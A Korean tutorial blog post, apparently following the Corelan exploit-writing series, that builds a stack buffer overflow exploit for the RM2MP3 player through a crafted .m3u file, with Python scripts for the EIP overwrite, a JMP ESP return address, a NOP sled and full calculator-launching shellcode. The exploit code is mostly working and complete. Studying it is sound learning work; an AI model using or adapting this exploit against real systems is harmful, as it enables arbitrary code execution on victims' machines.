#1번 글에서는 스택BOF를 이용해서 EIP를 컨트롤 하는 법을 익혔습니다.
지난번 글 마지막에 언급한것처럼 이번에는 쉘코드를 올리고 쉘코드를 실행시키므로서 익스플로잇을 완성시켜보겠습니다.
일단 RM2MP3를 익스플로잇 하기 위해 쉘코드를 어떻게 올릴지가 문제입니다.
문제1.어디다가 쉘코드를 올리지?
문제2.어떻게 쉘코드를 실행시키지?
해답은 바로 JMP ESP입니다. jmp esp는 윈도우즈 프로그램에서 상당히 빈번하게 쓰이는 어셈블리라 찾기도 쉽고 또 이미 EIP를 컨트롤 하기위해 스택을 오버플로 시켰으므로 ESP영역에 쉘코드를 넣는 것도 어렵지 않습니다.
즉 ESP영역에 쉘코드를 넣고 EIP를 통해서 JMP ESP하게 만들어 프로그램이 ESP에 있는 쉘코드를 실행시키도록 하는것입니다!
그럼 일단 ESP영역에 원하는 코드를 넣을 수 있는지 테스트 해봅시다.
#filewriter.py #r3dzone f = open("C:/Users/unknown/Desktop/test.m3u", 'w') data = "\x41" * 26087 #dummy data += "ABCD" #eip for i in range(0,10): data += "%d" %i * 5 #esp test f.write(data) f.close()
ESP에 새로 추가한 0~9까지의 숫자가 5번씩 들어가 있습니다. 단 처음 0이 4개가 씹힌걸 제외하면 말입니다. 따라서 저희는 쉘코드를 입력할 때 4개의 더미를 넣어줘야한다는 것을 알았습니다.
이제 jmp esp가 존재하는 주소를 찾아줄 필요가 있습니다.
디버거에 다시한번 RM2MP3를 넣어주고 모듈검색에서 jmp esp로 검색해주면 jmp esp가 사용되는 주소가 잔뜩 나오게됩니다. 문제가 없어 보이는 걸로 하나 골라줍시다.
#filewriter.py #r3dzone import struct f = open("C:/Users/unknown/Desktop/test.m3u", 'w') data = "\x41" * 26087 #dummy eip = struct.pack('<L',0x74340793)#eip shellcode = "\x90" * 25 #esp \x90 = NOP shellcode += "\xcc" #\xcc = break shellcode += "\x90" * 25 f.write(data+shellcode) f.close()
테스트용 익스플로잇을 짜주었습니다.
쉘코드없이 테스트 해보기위해 쉘코드 부분에는 NOP으로 채워줬습니다. NOP은 아무 명령을 실행하지 않고 다음으로 넘어가는 어셈블리입니다.
그리고 중간에 break코드를 넣어서 디버깅에 용이하도록 했습니다.
ESP가 브레이크 걸어준부분까지 내려온것을 보아 JMP ESP가 정상동작하는 것 같습니다. 이제 쉘코드를 넣고 익스플로잇을 완성해봅시다.
#filewriter.py #r3dzone import struct f = open("C:/Users/unknown/Desktop/test.m3u", 'w') data = "\x41" * 26087 #dummy eip = struct.pack('<L',0x74340793)#eip dummy = "\x90" *4 #dummy2 shellcode = "\xEB\x30\x42\xAD\x60\x03\xD8\x8B\xF3\x33\xC0\x33\xFF\xAC\x03\xF8\x84\xC0\x75\xF9\x89\x7D\x10\x61\x39\x7D\x10\x75\xE5\x0F\xB7\x54\x51\xFE\x8B\x7D\x18\x8B\x77\x1C\x8B\xFB\x03\xF7\x03\x3C\x96\x8B\xC7\xC3\x33\xC0\x89\x45\x5B\xC6\x45\x5B\x63\xC6\x45\x5C\x61\xC6\x45\x5D\x6C\xC6\x45\x5E\x63\x33\xC0\x89\x45\x5F\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x40\x14\x8B\x18\x8B\x1B\x8B\x5B\x10\x8B\x7B\x3C\x03\xFB\x8B\x7F\x78\x03\xFB\x89\x7D\x18\x8B\x77\x20\x03\xF3\x8B\x4F\x24\x03\xCB\x33\xD2\x60\x33\xFF\x66\xBF\xB3\x02\xE8\x80\xFF\xFF\xFF\x89\x45\x20\x61\x33\xFF\x66\x81\xC7\x79\x04\xE8\x70\xFF\xFF\xFF\x89\x45\x24\x33\xC0\x50\x8D\x45\x5B\x50\xFF\x55\x20\x33\xC0\x50\xFF\x55\x24" #esp f.write(data+eip+dummy+shellcode) f.close()
쉘코드는 미리 짜두었던 계산기를 실행시키는 유니버셜 쉘코드를 사용했습니다.
성공!!!
제대로 RM2MP3에 익스플로잇용 m3u파일을 넣자 계산기가 실행됩니다!!
'해킹 > System' 카테고리의 다른 글
[Windows_System] Shellcoding 쉘코딩법 #2 널바이트(\x00) 제거 (0) | 2019.08.22 |
---|---|
[Windows_System] Shellcoding 쉘코딩법 #1 (2) | 2019.08.21 |
#사진 날아감 [Windows_System] 윈도우 프로그램 익스플로잇 (Corelan Exploit Writing Tutorial 실습) #1 EIP컨트롤 (0) | 2018.07.09 |
#사진 날아감 [Windows_System] Shellcoding 쉘코딩법#2 (널바이트 제거법) (0) | 2018.07.05 |
#사진 날아감 [Windows_System] Shellcoding 쉘코딩법 (0) | 2018.07.04 |